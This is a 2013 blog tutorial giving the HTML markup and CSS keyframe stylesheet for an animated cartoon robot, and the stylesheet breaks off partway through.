Technology And Sharing

How to use HTML5 and CSS3 Animation Trick

2013-10-23T13:37:00.003+07:00

1. HTML 5

HTML 5 is the next major version of HTML. It introduces a bunch of new elements that will make our pages more semantic. This will make it a lot easier for search engines and screenreaders to navigate our pages, and improve the web experience for everyone. In addition, HTML 5 will also include fancy APIs for drawing graphics on screen, storing data offline, dragging and dropping, and a lot more. Let’s get started marking up the blog page.

Now let start

First create file name : index.html

<!DOCTYPE html>

<html>

<head>

<title></title>

<link rel="stylesheet" type="text/css" href="style.css">

</head>

<body>

<div id="page">

<div id="container">



<div id="foot" class="left">

<div id="f1"></div>

<div id="f2"></div>



<div id="leg1" class="first">

<div id="leg1" class="next1">

<div id="leg1" class="next1">

<div id="leg1" class="next1">

<div id="leg1" class="next1"></div>

</div>

</div>

</div>

</div>

</div>



<div id="foot" class="right">

<div id="f1"></div>

<div id="f2"></div>

<div id="leg2" class="first">

<div id="leg2" class="next2">

<div id="leg2" class="next2">

<div id="leg2" class="next2">

<div id="leg2" class="next2"></div>

</div>

</div>

</div>

</div>

</div>





<div id="body">

<div id="b1"></div>

<div id="b2"></div>

<div id="b3"></div>

<div id="head">

<div id="h1"></div>

<div id="h2"></div>

<div id="h3"></div>

<div id="h4"></div>

<div id="h5"><span></span></div>

<div id="eyes">

<div id="e">

<div id="e1">

<div id="eye"></div>

<span></span>

</div>

<div id="e2">

<div id="eye"></div>

<span></span>

</div>

</div>

</div>

<div id="mouth">

<span></span>

<span></span>

<span></span>

<span></span>

<span></span>

<div id="m1"></div>

<div id="m2"></div>

</div>

</div>



<div id="b4"></div>

<div id="b5">

<div id="b51">

<div id="b51">

<div id="b51">

<div id="b51">

<div id="ab">

<div id="a1"></div>

<div id="a2"></div>

<div id="a3" class="a31"></div>

<div id="a3" class="a32"></div>

<div id="a3" class="a33"></div>

</div>

</div>

</div>

</div>

</div>

</div>

<div id="b6"></div>

<div id="b7">

<div id="b71">

<div id="b71">

<div id="b71">

<div id="b71">

<div id="ac">

<div id="a1"></div>

<div id="a2"></div>

<div id="a3" class="a31"></div>

<div id="a3" class="a32"></div>

<div id="a3" class="a33"></div>

</div>

</div>

</div>

</div>

</div>

</div>

<div id="b8">

<span></span>

</div>

<div id="b9"></div>

</div>

</div>

</div>

<h2 style="text-align: center;"> Testing HTML 5 and CSS</h2>

</body>

</html>

and Create file : style.css

body {

margin:0;

height: 450px;

background:#98B8CF;

background-image: -webkit-linear-gradient(left , rgb(84,116,137) 0%, rgb(133,160,177) 50%, rgb(84,116,137) 100%);

}

#text {

margin-top:-150px;

margin-left:-120px;

width:120px;

top:50%; left:50%;

text-transform:uppercase;

color:#BE3E1B;

font-size:100%;

font-weight:bold;

text-shadow:-1px 1px 3px #DBC558, -1px 1px 1px #FFF38F;

text-align:center;

}

div {

position:absolute;

-webkit-transform-style:preserve-3d;

}

#page {

height:100%;

width:100%;

-moz-perspective:700px;

background-image: -moz-linear-gradient(left , rgb(84,116,137) 0%, rgb(133,160,177) 50%, rgb(84,116,137) 100%);

}

#container {

height:300px;

width:300px;

top:50%; left:50%;

margin-top:-150px;

margin-left:-150px;

-webkit-box-reflect: below -7px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(10%, transparent), to(rgba(255,255,255,0.2)));

}

#foot {

bottom:0;

width:32px;

height:20px;

}

.left {left:90px; -webkit-animation:foot1 6s ease-in-out infinite; -moz-animation:foot1 10s ease-in-out infinite;}

.right {right:90px; -webkit-animation:foot2 6s ease-in-out infinite; -moz-animation:foot2 10s ease-in-out infinite;}

#leg1 {

height:20px;

width:12px;

background:#FF0;

bottom:20%;

-webkit-animation:leg1 6s ease-in-out infinite;

-moz-animation:leg1 6s ease-in-out infinite;

background:#7AA6C1;

border:1px solid #000;

border-radius:5px;

z-index:3;

}

.first {

left:10px;

}

.next1 {

left:-1px;

}

.next2 {

right:-1px;

}

#leg2 {

height:20px;

width:12px;

background:#7AA6C1;

border:1px solid #000;

bottom:20%;

z-index:3;

border-radius:5px;

-webkit-animation:leg2 6s ease-in-out infinite;

-moz-animation:leg2 6s ease-in-out infinite;

}

@-webkit-keyframes leg1 {

from {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

05% {-webkit-transform:rotateZ(10deg) translateY(-50%);}

10% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

15% {-webkit-transform:rotateZ(10deg) translateY(-50%);}

20% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

25% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

30% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

35% {-webkit-transform:rotateZ(10deg) translateY(-50%);}

40% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

45% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

50% {-webkit-transform:rotateZ(10deg) translateY(-50%);}

55% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

60% {-webkit-transform:rotateZ(10deg) translateY(-50%);}

65% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

70% {-webkit-transform:rotateZ(10deg) translateY(-50%);}

80% {-webkit-transform:rotateZ(-10deg) translateY(-50%);}

90% {-webkit-transform:rotateZ(10deg) translateY(-50%);}

to {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

}

@-moz-keyframes leg1 {

from {-moz-transform:rotateZ( 0deg) translateY(-50%);}

05% {-moz-transform:rotateZ(10deg) translateY(-50%);}

10% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

15% {-moz-transform:rotateZ(10deg) translateY(-50%);}

20% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

25% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

30% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

35% {-moz-transform:rotateZ(10deg) translateY(-50%);}

40% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

45% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

50% {-moz-transform:rotateZ(10deg) translateY(-50%);}

55% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

60% {-moz-transform:rotateZ(10deg) translateY(-50%);}

65% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

70% {-moz-transform:rotateZ(10deg) translateY(-50%);}

80% {-moz-transform:rotateZ(-10deg) translateY(-50%);}

90% {-moz-transform:rotateZ(10deg) translateY(-50%);}

to {-moz-transform:rotateZ( 0deg) translateY(-50%);}

}

@-webkit-keyframes leg2 {

from {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

05% {-webkit-transform:rotateZ(-10deg) translateY(-50%);}

10% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

15% {-webkit-transform:rotateZ(-10deg) translateY(-50%);}

20% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

25% {-webkit-transform:rotateZ(-10deg) translateY(-50%);}

30% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

40% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

45% {-webkit-transform:rotateZ(-10deg) translateY(-50%);}

50% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

55% {-webkit-transform:rotateZ(-10deg) translateY(-50%);}

60% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

65% {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

70% {-webkit-transform:rotateZ( 10deg) translateY(-50%);}

80% {-webkit-transform:rotateZ(-10deg) translateY(-50%);}

90% {-webkit-transform:rotateZ( 10deg) translateY(-50%);}

to {-webkit-transform:rotateZ( 0deg) translateY(-50%);}

}

@-moz-keyframes leg2 {

from {-moz-transform:rotateZ( 0deg) translateY(-50%);}

05% {-moz-transform:rotateZ(-10deg) translateY(-50%);}

10% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

15% {-moz-transform:rotateZ(-10deg) translateY(-50%);}

20% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

25% {-moz-transform:rotateZ(-10deg) translateY(-50%);}

30% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

40% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

45% {-moz-transform:rotateZ(-10deg) translateY(-50%);}

50% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

55% {-moz-transform:rotateZ(-10deg) translateY(-50%);}

60% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

65% {-moz-transform:rotateZ( 0deg) translateY(-50%);}

70% {-moz-transform:rotateZ( 10deg) translateY(-50%);}

80% {-moz-transform:rotateZ(-10deg) translateY(-50%);}

90% {-moz-transform:rotateZ( 10deg) translateY(-50%);}

to {-moz-transform:rotateZ( 0deg) translateY(-50%);}

}

@-webkit-keyframes foot1 {

from {left:116px;}

05% {left:80px;}

10% {left:116px;}

15% {left:80px;}

20% {left:116px;}

25% {left:116px;}

30% {left:116px;}

35% {left:84px;}

40% {left:116px;}

45% {left:116px;}

50% {left:84px;}

55% {left:116px;}

60% {left:84px;}

65% {left:116px;}

to {left:116px;}

}

@-moz-keyframes foot1 {

from {left:116px;}

05% {left:80px;}

10% {left:116px;}

15% {left:80px;}

20% {left:116px;}

25% {left:116px;}

30% {left:116px;}

35% {left:84px;}

40% {left:116px;}

45% {left:116px;}

50% {left:84px;}

55% {left:116px;}

60% {left:84px;}

65% {left:116px;}

to {left:116px;}

}

@-webkit-keyframes foot2 {

from {right:116px;}

05% {right:80px;}

10% {right:116px;}

15% {right:80px;}

20% {right:116px;}

25% {right:84px;}

30% {right:116px;}

40% {right:116px;}

45% {right:84px;}

50% {right:116px;}

55% {right:84px;}

60% {right:116px;}

to {right:116px;}

}

@-moz-keyframes foot2 {

from {right:116px;}

05% {right:80px;}

10% {right:116px;}

15% {right:80px;}

20% {right:116px;}

25% {right:84px;}

30% {right:116px;}

40% {right:116px;}

45% {right:84px;}

50% {right:116px;}

55% {right:84px;}

60% {right:116px;}

to {right:116px;}

}

#body {

height:66px;

width:56px;

background:#A7C6DB;

left:120px;

top:140px;

z-index:10;

-webkit-animation:body 6s ease-in-out infinite;

-moz-animation:body 6s ease-in-out infinite;

-webkit-perspective:300;

}

#body:before, #body:after {

content: '';

position: absolute;

top: 0;

left: 0;

width: 100%;

bottom: 0;

z-index: -1;

background-color: #A7C6DB;

}

#body:before {

-webkit-transform: skew(-5deg);

-moz-transform: skew(-5deg);

left: 5px;

border-right:1px solid #000;

}

#body:after {

-webkit-transform: skew(5deg);

-moz-transform: skew(5deg);

left: -5px;

border-left:1px solid #000;

}

@-webkit-keyframes body {

from {top:135px; left:122px; -webkit-transform:rotateZ( 0deg);}

05% {top:150px; left:122px; -webkit-transform:rotateZ( 0deg);}

10% {top:135px; left:122px; -webkit-transform:rotateZ( 0deg);}

15% {top:150px; left:122px; -webkit-transform:rotateZ( 0deg);}

20% {top:135px; left:122px; -webkit-transform:rotateZ( 0deg);}

25% {top:148px; left:118px; -webkit-transform:rotateZ( 0deg);}

30% {top:135px; left:122px; -webkit-transform:rotateZ( 0deg);}

35% {top:148px; left:126px; -webkit-transform:rotateZ( 0deg);}

40% {top:135px; left:122px; -webkit-transform:rotateZ( 0deg);}

45% {top:148px; left:118px; -webkit-transform:rotateZ( 0deg);}

50% {top:148px; left:126px; -webkit-transform:rotateZ( 0deg);}

55% {top:148px; left:118px; -webkit-transform:rotateZ( 0deg);}

60% {top:148px; left:126px; -webkit-transform:rotateZ( 0deg);}

65% {top:135px; left:122px; -webkit-transform:rotateZ( 0deg);}

70% {top:142px; left:129px; -webkit-transform:rotateZ( 10deg) translateX(75%);}

80% {top:142px; left:115px; -webkit-transform:rotateZ(-10deg) translateX(-75%);}

90% {top:142px; left:129px; -webkit-transform:rotateZ( 10deg) translateX(75%);}

to {top:135px; left:122px; -webkit-transform:rotateZ( 0deg);}

}

@-moz-keyframes body {

from {top:135px; left:122px; -moz-transform:rotateZ( 0deg);}

05% {top:150px; left:122px; -moz-transform:rotateZ( 0deg);}

10% {top:135px; left:122px; -moz-transform:rotateZ( 0deg);}

15% {top:150px; left:122px; -moz-transform:rotateZ( 0deg);}

20% {top:135px; left:122px; -moz-transform:rotateZ( 0deg);}

25% {top:148px; left:118px; -moz-transform:rotateZ( 0deg);}

30% {top:135px; left:122px; -moz-transform:rotateZ( 0deg);}

35% {top:148px; left:126px; -moz-transform:rotateZ( 0deg);}

40% {top:135px; left:122px; -moz-transform:rotateZ( 0deg);}

45% {top:148px; left:118px; -moz-transform:rotateZ( 0deg);}

50% {top:148px; left:126px; -moz-transform:rotateZ( 0deg);}

55% {top:148px; left:118px; -moz-transform:rotateZ( 0deg);}

60% {top:148px; left:126px; -moz-transform:rotateZ( 0deg);}

65% {top:135px; left:122px; -moz-transform:rotateZ( 0deg);}

70% {top:142px; left:129px; -moz-transform:rotateZ( 10deg) translateX(75%);}

80% {top:142px; left:115px; -moz-transform:rotateZ(-10deg) translateX(-75%);}

90% {top:142px; left:129px; -moz-transform:rotateZ( 10deg) translateX(75%);}

to {top:135px; left:122px; -moz-transform:rotateZ( 0deg);}

}

#f1 {

bottom:5px;

height:15px;

width:100%;

border:1px solid #000;

border-bottom:none;

background:#A7C6DB;

border-radius:150px 150px 0 0;

z-index:2;

}

#f2 {

height:10px;

width:100%;

border:1px solid #000;

background:#A7C6DB;

bottom:0;

border-radius:100%;

z-index:1;

}

#b1 {

width:102%;

height:14px; left:-1px;

background-color: #A7C6DB;

border:1px solid #000;

bottom:-8px;

z-index:-2;

border-radius:100%;

}

#b2 {

width:60%; bottom:100%;

height:28%; left:20%;

background-color: #C8DFED;

z-index:2;

}

#b2:before, #b2:after {

content: '';

position: absolute;

top: 0;

left: 0;

width: 100%;

bottom: 0;

z-index: -1;

background-color: #C9E0EE;

}

#b2:before {

-webkit-transform: skew(45deg);

-moz-transform: skew(45deg);

left: 11px;

border-right:1px solid #000;

}

#b2:after {

-webkit-transform: skew(-45deg);

-moz-transform: skew(-45deg);

left: -10px;

border-left:1px solid #000;

}

#b3 {

background-color: #C8DFED;

border:1px solid #000;

border-radius:100%;

width:124%; left:-13%;

height:12px;

z-index:1; top:-6px;

}

#head {

width:36px;

height:40px;

top:-56px; left:9px;

z-index:5;

}

#h2 {

width:100%;

height:8px;

bottom:-4px; left:1px;

background:#A7C6DB;

border:1px solid #000;

border-radius:100%;

z-index:0;

}

#h1 {

width:100%;

height:46px; bottom:0;

left:1px;

background:#A7C6DB;

border-left:1px solid #000;

border-right:1px solid #000;

z-index:1;

}

#h3 {

width:100%;

height:38px; bottom:62%;

left:1px;

background:#A7C6DB;

border:1px solid #000;

border-radius:100%;

z-index:0;

}

#h4 {

height:10px;

width:12px;

bottom:56px;

border:1px solid #000;

background:#C4E0EE;

z-index:-1;

border-radius:100%;

left:13px;

}

#h5 {

bottom:64px;

background:#76A3C4;

border:1px solid #000;

width:2px;

height:20px;

left:18px;

z-index:-2;

-webkit-animation:h5 4s ease-in-out infinite;

-moz-animation:h5 4s ease-in-out infinite;

}

@-webkit-keyframes h5 {

from {bottom:64px;}

25% {bottom:45px;}

50% {bottom:64px;}

60% {bottom:58px;}

70% {bottom:64px;}

to {bottom:64px;}

}

@-moz-keyframes h5 {

from {bottom:64px;}

25% {bottom:45px;}

50% {bottom:64px;}

60% {bottom:58px;}

70% {bottom:64px;}

to {bottom:64px;}

}

#h5 span {

position:absolute;

left:-3px; top:-5px;

height:6px;

width:6px;

background:#CEE9FA;

border:1px solid #000;

border-radius:100%;

}

#eyes {

width:49px;

height:22px;

background:#CAE1F1;

border:1px solid #000;

border-radius:10px;

z-index:5;

left:-5px; top:-4px;

}

#e {

top:2px; left:2px; right:2px; bottom:2px;

background:#231F20;

border-radius:10px;

overflow:hidden;

}

#e1 {

height:14px;

width:16px;

background:#FFF;

border-radius:100%;

top:2px; left:4px;

}

#e2 {

height:14px;

width:16px;

background:#FFF;

border-radius:100%;

top:2px; right:4px;

}

#eye {

height:4px;

width:4px;

border-radius:100%;

background:#231F20;

top:5px; left:2px;

-webkit-animation:eye 5s ease-in-out infinite;

-moz-animation:eye 8s ease-in-out infinite;

}

@-webkit-keyframes eye {

from {top:5px; left:2px;}

10% {top:5px; left:10px;}

20% {top:5px; left:2px;}

30% {top:5px; left:2px;}

40% {top:9px; left:9px;}

45% {top:5px; left:6px;}

60% {top:5px; left:6px;}

70% {top:3px; left:2px;}

80% {top:8px; left:2px;}

90% {top:7px; left:10px;}

to {top:5px; left:2px;}

}

@-moz-keyframes eye {

from {top:5px; left:2px;}

10% {top:5px; left:10px;}

20% {top:5px; left:2px;}

30% {top:5px; left:2px;}

40% {top:9px; left:9px;}

45% {top:5px; left:6px;}

60% {top:5px; left:6px;}

70% {top:3px; left:2px;}

80% {top:8px; left:2px;}

90% {top:7px; left:10px;}

}

#e1 span {

position:absolute;

width:100%;

height:4px;

background:#231F20;

-webkit-animation:eye1 8s ease-in-out infinite;

-moz-animation:eye1 8s ease-in-out infinite;

}

@-webkit-keyframes eye1 {

from {height:1px; -webkit-transform:rotateZ( 0deg); left:0px; top:0;}

10% {height:4px; -webkit-transform:rotateZ( 0deg); left:0px; top:0;}

20% {height:2px; -webkit-transform:rotateZ( 0deg); left:0px; top:-1px;}

30% {height:5px; -webkit-transform:rotateZ(30deg); left:5px; top:-1px;}

40% {height:7px; -webkit-transform:rotateZ(30deg); left:5px; top:-1px;}

50% {height:4px; -webkit-transform:rotateZ( 0deg); left:0px; top:-1px;}

70% {height:0px; -webkit-transform:rotateZ( 0deg); left:0px; top:-1px;}

80% {height:8px; -webkit-transform:rotateZ(30deg); left:5px; top:-2px;}

90% {height:5px; -webkit-transform:rotateZ( 0deg); left:0px; top:-1px;}

to {height:1px; -webkit-transform:rotateZ( 0deg); left:0px; top:0px;}

}

@-moz-keyframes eye1 {

from {height:1px; -moz-transform:rotateZ( 0deg); left:0px; top:0;}

10% {height:4px; -moz-transform:rotateZ( 0deg); left:0px; top:0;}

20% {height:2px; -moz-transform:rotateZ( 0deg); left:0px; top:-1px;}

30% {height:5px; -moz-transform:rotateZ(30deg); left:5px; top:-1px;}

40% {height:7px; -moz-transform:rotateZ(30deg); left:5px; top:-1px;}

50% {height:4px; -moz-transform:rotateZ( 0deg); left:0px; top:-1px;}

70% {height:0px; -moz-transform:rotateZ( 0deg); left:0px; top:-1px;}

80% {height:8px; -moz-transform:rotateZ(30deg); left:5px; top:-2px;}

90% {height:5px; -moz-transform:rotateZ( 0deg); left:0px; top:-1px;}

to {height:1px; -moz-transform:rotateZ( 0deg); left:0px; top:0px;}

}

#e2 span {

position:absolute;

width:100%;

height:4px;

background:#231F20;

-webkit-animation:eye2 8s ease-in-out infinite;

-moz-animation:eye2 8s ease-in-out infinite;

}

@-webkit-keyframes eye2 {

from {height:1px; -webkit-transform:rotateZ( 0deg); right:0px; top:0;}

10% {height:4px; -webkit-transform:rotateZ( 0deg); right:0px; top:0;}

20% {height:2px; -webkit-transform:rotateZ( 0deg); right:0px; top:-1px;}

30% {height:5px; -webkit-transform:rotateZ(-30deg); right:5px; top:-1px;}

40% {height:7px; -webkit-transform:rotateZ(-30deg); right:5px; top:-1px;}

50% {height:4px; -webkit-transform:rotateZ( 0deg); right:0px; top:-1px;}

70% {height:0px; -webkit-transform:rotateZ( 0deg); right:0px; top:-1px;}

80% {height:8px; -webkit-transform:rotateZ(-30deg); right:5px; top:-2px;}

90% {height:5px; -webkit-transform:rotateZ( 0deg); right:0px; top:-1px;}

to {height:1px; -webkit-transform:rotateZ( 0deg); right:0px; top:0px;}

}

@-moz-keyframes eye2 {

from {height:1px; -moz-transform:rotateZ( 0deg); right:0px; top:0;}

10% {height:4px; -moz-transform:rotateZ( 0deg); right:0px; top:0;}

20% {height:2px; -moz-transform:rotateZ( 0deg); right:0px; top:-1px;}

30% {height:5px; -moz-transform:rotateZ(-30deg); right:5px; top:-1px;}

40% {height:7px; -moz-transform:rotateZ(-30deg); right:5px; top:-1px;}

50% {height:4px; -moz-transform:rotateZ( 0deg); right:0px; top:-1px;}

70% {height:0px; -moz-transform:rotateZ( 0deg); right:0px; top:-1px;}

80% {height:8px; -moz-transform:rotateZ(-30deg); right:5px; top:-2px;}

90% {height:5px; -moz-transform:rotateZ( 0deg); right:0px; top:-1px;}

to {height:1px; -moz-transform:rotateZ( 0deg); right:0px; top:0px;}

}

#mouth {

top:23px; left:3px;

height:14px;

width:32px;

background:#FFF;

border:1px solid #000;

z-index:5;

border-radius:7px;

overflow:hidden;

}

#mouth span {

display:block;

float:left;

width:1px;

height:14px;

background:#150B13;

margin-left:5px;

}

#mouth span:first-child {

margin-left:3px;

}

#m1 {

top:9px;

width:100%;

height:20px;

border-top:1px solid #000;

border-radius:100%;

-webkit-animation:m1 4s ease-in-out infinite;

-moz-animation:m1 4s ease-in-out infinite;

}

@-webkit-keyframes m1 {

from {border-radius:0%; width:100%; left:0;}

25% {border-radius:40%; width:200%; left:0;}

50% {border-radius:0%; width:100%; left:0;}

75% {border-radius:100%; width:200%; left:-50%;}

to {border-radius:0%; width:100%; left:0;}

}

@-moz-keyframes m1 {

from {border-radius:0%; width:100%; left:0;}

25% {border-radius:40%; width:200%; left:0;}

50% {border-radius:0%; width:100%; left:0;}

75% {border-radius:100%; width:200%; left:-50%;}

to {border-radius:0%; width:100%; left:0;}

}

#m2 {

bottom:8px;

width:100%;

height:20px;

border-bottom:1px solid #000;

border-radius:100%;

-webkit-animation:m1 4s ease-in-out infinite;

-moz-animation:m1 4s ease-in-out infinite;

}

#b4 {

height:20px;

width:10px;

background:#AAC6DE;

border:1px solid #000;

border-radius:100%;

left:-12px; top:2px;

z-index:-5;

}

#ab {

right:50%; top:-5px;

height:20px;

width:14px;

}

#ab #a1 {

right:2px;

background:#A7C6DB;

border:1px solid #000;

height:20px;

width:8px;

border-radius:0 50px 50px 0;

z-index:1;

border-left:none;

}

#ab #a2 {

right:8px;

background:#A7C6DB;

border:1px solid #000;

height:20px;

width:4px;

border-radius:100%;

z-index:0;

}

#ab #a3 {

height:4px;

width:14px;

background:#A7C6DB;

border:1px solid #000;

z-index:-1;

border-radius:5px;

}

#ab .a31 {right:5px; top:1px; -webkit-transform:rotateZ(20deg);}

#ab .a32 {right:6px; top:8px;}

#ab .a33 {right:5px; top:15px; -webkit-transform:rotateZ(-20deg);}

#b6 {

height:20px;

width:10px;

background:#AAC6DE;

border:1px solid #000;

border-radius:100%;

right:-12px; top:2px;

z-index:-5;

}

#b5 {

height:10px;

width:16px;

background:#82A6BC;

border:1px solid #000;

left:-16px; top:8px;

z-index:-7;

-webkit-transform:rotateZ(-60deg) translateX(-50%);

-webkit-animation:b5 6s ease-in-out infinite;

-moz-animation:b5 6s ease-in-out infinite;

}

#b51 {

height:10px;

width:18px;

background:#82A6BC;

border:1px solid #000;

border-radius:5px;

right:20%; top:-1px;

z-index:1;

-webkit-transform:rotateZ(-10deg) translateX(-50%);

-webkit-animation:b51 6s ease-in-out infinite;

-moz-animation:b51 6s ease-in-out infinite;

}

@-webkit-keyframes b5 {

from {-webkit-transform:rotateZ(-60deg) translateX(-50%);}

10% {-webkit-transform:rotateZ(50deg) translateX(-50%);}

20% {-webkit-transform:rotateZ(50deg) translateX(-50%);}

30% {-webkit-transform:rotateZ(50deg) translateX(-50%);}

40% {-webkit-transform:rotateZ(-50deg) translateX(-50%);}

50% {-webkit-transform:rotateZ(60deg) translateX(-50%);}

60% {-webkit-transform:rotateZ(-60deg) translateX(-50%);}

70% {-webkit-transform:rotateZ(30deg) translateX(-50%);}

80% {-webkit-transform:rotateZ(-60deg) translateX(-50%);}

90% {-webkit-transform:rotateZ(70deg) translateX(-50%);}

to {-webkit-transform:rotateZ(-60deg) translateX(-50%);}

}

@-moz-keyframes b5 {

from {-moz-transform:rotateZ(-60deg) translateX(-50%);}

10% {-moz-transform:rotateZ(50deg) translateX(-50%);}

20% {-moz-transform:rotateZ(50deg) translateX(-50%);}

30% {-moz-transform:rotateZ(50deg) translateX(-50%);}

40% {-moz-transform:rotateZ(-50deg) translateX(-50%);}

50% {-moz-transform:rotateZ(60deg) translateX(-50%);}

60% {-moz-transform:rotateZ(-60deg) translateX(-50%);}

70% {-moz-transform:rotateZ(30deg) translateX(-50%);}

80% {-moz-transform:rotateZ(-60deg) translateX(-50%);}

90% {-moz-transform:rotateZ(70deg) translateX(-50%);}

to {-moz-transform:rotateZ(-60deg) translateX(-50%);}

}

@-webkit-keyframes b51 {

from {-webkit-transform:rotateZ(-10deg) translateX(-50%);}

10% {-webkit-transform:rotateZ(10deg) translateX(-50%);}

15% {-webkit-transform:rotateZ(0deg) translateX(-50%);}

20% {-webkit-transform:rotateZ(10deg) translateX(-50%);}

25% {-webkit-transform:rotateZ( 0deg) translateX(-50%);}

30% {-webkit-transform:rotateZ(10deg) translateX(-50%);}

40% {-webkit-transform:rotateZ(-10deg) translateX(-50%);}

50% {-webkit-transform:rotateZ(10deg) translateX(-50%);}

60% {-webkit-transform:rotateZ(-5deg) translateX(-50%);}

70% {-webkit-transform:rotateZ(10deg) translateX(-50%);}

80% {-webkit-transform:rotateZ(-10deg) translateX(-50%);}

90% {-webkit-transform:rotateZ(5deg) translateX(-50%);}

to {-webkit-transform:rotateZ(-10deg) translateX(-50%);}

}

@-moz-keyframes b51 {

from {-moz-transform:rotateZ(-10deg) translateX(-50%);}

10% {-moz-transform:rotateZ(10deg) translateX(-50%);}

15% {-moz-transform:rotateZ(0deg) translateX(-50%);}

20% {-moz-transform:rotateZ(10deg) translateX(-50%);}

25% {-moz-transform:rotateZ( 0deg) translateX(-50%);}

30% {-moz-transform:rotateZ(10deg) translateX(-50%);}

40% {-moz-transform:rotateZ(-10deg) translateX(-50%);}

50% {-moz-transform:rotateZ(10deg) translateX(-50%);}

60% {-moz-transform:rotateZ(-5deg) translateX(-50%);}

70% {-moz-transform:rotateZ(10deg) translateX(-50%);}

80% {-moz-transform:rotateZ(-10deg) translateX(-50%);}

90% {-moz-transform:rotateZ(5deg) translateX(-50%);}

to {-moz-transform:rotateZ(-10deg) translateX(-50%);}

}

@-webkit-keyframes b7 {

from {-webkit-transform:rotateZ(60deg) translateX(50%);}

30% {-webkit-transform:rotateZ(60deg) translateX(50%);}

40% {-webkit-transform:rotateZ(-60deg) translateX(50%);}

50% {-webkit-transform:rotateZ(-60deg) translateX(50%);}

60% {-webkit-transform:rotateZ(60deg) translateX(50%);}

70% {-webkit-transform:rotateZ(-30deg) translateX(50%);}

80% {-webkit-transform:rotateZ(60deg) translateX(50%);}

90% {-webkit-transform:rotateZ(-70deg) translateX(50%);}

to {-webkit-transform:rotateZ(60deg) translateX(50%);}

}

@-moz-keyframes b7 {

from {-moz-transform:rotateZ(60deg) translateX(50%);}

30% {-moz-transform:rotateZ(60deg) translateX(50%);}

40% {-moz-transform:rotateZ(-60deg) translateX(50%);}

50% {-moz-transform:rotateZ(-60deg) translateX(50%);}

60% {-moz-transform:rotateZ(60deg) translateX(50%);}

70% {-moz-transform:rotateZ(-30deg) translateX(50%);}

80% {-moz-transform:rotateZ(60deg) translateX(50%);}

90% {-moz-transform:rotateZ(-70deg) translateX(50%);}

to {-moz-transform:rotateZ(60deg) translateX(50%);}

}

@-webkit-keyframes b71 {

from {-webkit-transform:rotateZ(10deg) translateX(50%);}

10% {-webkit-transform:rotateZ(15deg) translateX(50%);}

20% {-webkit-transform:rotateZ(5deg) translateX(50%);}

30% {-webkit-transform:rotateZ(15deg) translateX(50%);}

40% {-webkit-transform:rotateZ(-10deg) translateX(50%);}

50% {-webkit-transform:rotateZ(-10deg) translateX(50%);}

60% {-webkit-transform:rotateZ(5deg) translateX(50%);}

70% {-webkit-transform:rotateZ(-10deg) translateX(50%);}

80% {-webkit-transform:rotateZ(10deg) translateX(50%);}

90% {-webkit-transform:rotateZ(-5deg) translateX(50%);}

to {-webkit-transform:rotateZ(10deg) translateX(50%);}

}

@-moz-keyframes b71 {

from {-moz-transform:rotateZ(10deg) translateX(50%);}

10% {-moz-transform:rotateZ(15deg) translateX(50%);}

20% {-moz-transform:rotateZ(5deg) translateX(50%);}

30% {-moz-transform:rotateZ(15deg) translateX(50%);}

40% {-moz-transform:rotateZ(-10deg) translateX(50%);}

50% {-moz-transform:rotateZ(-10deg) translateX(50%);}

60% {-moz-transform:rotateZ(5deg) translateX(50%);}

70% {-moz-transform:rotateZ(-10deg) translateX(50%);}

80% {-moz-transform:rotateZ(10deg) translateX(50%);}

90% {-moz-transform:rotateZ(-5deg) translateX(50%);}

to {-moz-transform:rotateZ(10deg) translateX(50%);}

}

#b7 {

height:10px;

width:16px;

background:#82A6BC;

border:1px solid #000;

right:-16px; top:8px;

z-index:-7;

-webkit-transform:rotateZ(60deg) translateX(50%);

-webkit-animation:b7 6s ease-in-out infinite;

-moz-animation:b7 6s ease-in-out infinite;

}

#b71 {

height:10px;

width:18px;

background:#82A6BC;

border:1px solid #000;

border-radius:5px;

left:20%; top:-1px;

z-index:1;

-webkit-transform:rotateZ(10deg) translateX(50%);

-webkit-animation:b71 6s ease-in-out infinite;

-moz-animation:b71 6s ease-in-out infinite;

}

#ac {

left:50%; bottom:-4px;

height:20px;

width:14px;

}

#ac #a1 {

left:2px;

background:#A7C6DB;

border:1px solid #000;

height:20px;

width:8px;

border-radius:50px 0 0 50px;

z-index:1;

border-right:none;

}

#ac #a2 {

left:8px;

background:#A7C6DB;

border:1px solid #000;

height:20px;

width:4px;

border-radius:100%;

z-index:0;

}

#ac #a3 {

height:4px;

width:14px;

background:#A7C6DB;

border:1px solid #000;

z-index:-1;

border-radius:5px;

}

#ac .a31 {left:5px; top:1px; -webkit-transform:rotateZ(-20deg);}

#ac .a32 {left:6px; top:8px;}

#ac .a33 {left:5px; top:15px; -webkit-transform:rotateZ(20deg);}

#b8 {

left:10px; top:14px;

height:46px;

width:36px;

background:#A7C6DB;

z-index:2;

}

#b8 span {

top:20px; right:0;

position:absolute;

